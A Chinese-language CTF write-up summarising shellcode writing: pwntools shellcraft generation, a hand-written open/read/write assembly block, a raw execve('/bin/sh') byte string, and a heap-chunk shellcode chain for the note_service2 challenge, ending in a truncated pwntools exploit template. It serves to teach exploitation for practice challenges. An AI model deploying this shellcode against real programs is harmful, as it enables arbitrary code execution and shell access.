linuxsec

shellcode编写过程总结

序言: 平时做题也遇到过一些编写shellcode的题目了,最近抽空总结下类型,以及编写过程

利用工具生成或直接查找

我收集了一些工具生成纯字母数字shellcode的
比如 pwntools的 shellcraft模块
或者到exploit-db直接查找

这种题好做,利用工具生成,比如pwnable.tw 的 orw,这题就是可以直接利用工具生成的

shellcode = shellcraft.open(\'/home/orw/flag\')
    shellcode += shellcraft.read(\'eax\',\'esp\', 0x30)
    shellcode += shellcraft.write(1, \'esp\', 0x30)

三句代码搞定,这种是限制了只能用open,read,write的

还可以手写汇编,对于unctf的orwpwn可以手写汇编,不过没必要啊,复制黏贴也是可以的

shellcode = asm(\'\'\'
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    \'\'\')

在比如说那种直接输入shellcode执行的,攻防世界新手区有道题目string,就是直接输入shellcode拿shell的,这种可以用shellcraft.sh()或者exploit-db查找

shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

随便拿个shellcode举例吧

练习题

  1. 攻防世界pwn新手区的string
  2. 中科大比赛的shellhacker(3个类型)都是可以用工具生成解决的
  3. pwnable.tw的orw
  4. unctf的orwpwn

这些都还可以找得到题目来的,可以自行查找,我当时是手写了汇编练习,实际工具一把梭也是可以的

手写shellcode

这种题目我认为难度就比较大了,汇编基础不扎实的确实难,对我来说也是一样的,不过还是要总结下编写过程,这样以后遇到才不会慌

就从最简单的shellcode编写开始吧,难度层级如下,一层一层更难

  1. 攻防世界的note_service2
  2. pwnable.tw 的death_note
  3. pwnable.tw 的alive_note

note_service2

这道题又让我学了不少东西

复习了下jmp的跳转,以及机器码

0xE8 CALL 后面的四个字节是地址
0xE9 JMP 后面的四个字节是偏移
0xEB JMP 后面的二个字节是偏移
0xFF15 CALL 后面的四个字节是存放地址的地址
0xFF25 JMP 后面的四个字节是存放地址的地址
0x68 PUSH 后面的四个字节入栈
0x6A PUSH 后面的一个字节入栈

漏洞

发觉有个double free,然后8个字节不知道怎么利用,然后卡死了

看了wp后,原来这道又是出自pwnable.tw的,经过他人修改,然后出题了,考点是shellcode链的构造,也就是手写汇编能力

漏洞利用

这里查看保护发觉nx保护没开,所以想着如何写shellcode,8个字节,我也没想出怎么写shellcode,大佬们强啊,shellcode链,利用近转移,一步步跳过去,组合起来就是大shellcode了,这跟ROP类似啊,我怎么就想不到呢,在此还是先佩服下师傅们

细节点

调试部分我用edb测试了下,edb打开随便一个程序,测了下E916,发觉他会自动改成5个字节
其余指令可以用pwntools测试,asm(\'xor rsi,rsi\',arch=\'amd64\')
free_got - heap地址,这个相对偏移是确定的,所以可以用index这样寻址

至于为什么是E916,这个可以计算下,
短转移:
假设目前指令为:

0x1000 E9 16 00 00 00
0x1005 90
0x1006 90
    .
    .
    .
0x101b 90

1000+16+5=101b

至于为什么这么计算,通俗点讲就是执行完这条指令才会跳转,所以执行完这条指令地址本应该为1005,所以为什么要+5,然后jmp的话,他要跳到相对于这里16处,所以就是0x101b处了

细想一下,delete(0)为什么可以执行system函数呢,因为free(0)的话,首先将参数传进去,也就是第一个堆块地址,就是存/bin/sh处,放到rdi里,后面开始执行shellcode链

编写shellcode链过程
0x00 0 0x21
0x10 0 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. 建立起堆块的结构链条,如上
  2. 建立起sys_execve需要的寄存器rdi,rsi,rdx,rax
  3. rdi为/bin/sh,rsi=0,rdx=0,rax=0x3b
  4. xor rsi,rsi 对应字节码 0xf63148,三个字节,先将这个放进去,然后要跳转到0x30处,所以现在编写jmp语句 e9 大小,具体多少,0x30-0x10-3-5=0x18,所以是e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. xor rdx,rdx 对应字节码0xd23148,三个字节,接着跳 ,一样的 e918
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. rax=0x3b, push 0x3b,pop rax,为0x3b6a58 三个字节,还是一样的
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0 0x21
0x70 0 0
  1. 最后syscall 0x050f
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0f05 0x21
0x70 0 0
  1. 测试了下,不成功,因为content不为8不会退出,那就加3个nop吧凑个整数,这样少跳3个nop就行,所以最后变成
0x00 0 0x21
0x10 16e99090904831f6 0
0x20 0 0x21
0x30 16e99090904831d2 0
0x40 0 0x21
0x50 16e9909090586a3b 0
0x60 9090909090900f50 0x21
0x70 0 0

emm,测试不成功,原因是,最多接受7个...题目里限制了,所以改成2个nop

0x00 0 0x21
0x10 0016e990904831f6 0
0x20 0 0x21
0x30 0016e990904831d2 0
0x40 0 0x21
0x50 0016e99090586a3b 0
0x60 0090909090900f50 0x21
0x70 0 0

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = \'111.198.29.45\' 
port = 49964
context.log_level = \'debug\'
exe = \'/tmp/tmp.sGaluM2IXs/note\'
# Load it if has exe
try:
    context.binary = exe
    elf = ELF(exe)
except Exception as e:
    print("Elf can\'t be load")

# load libc 
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
    io = process(exe)
else:
    io = remote(host,port, timeout=10)
#don\'t forget to change it
s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, \'\x00\'))
uu64 = lambda data                                    : u64(data.ljust(8, \'\x00\'))
lg   = lambda 

分类:

技术点:

相关文章: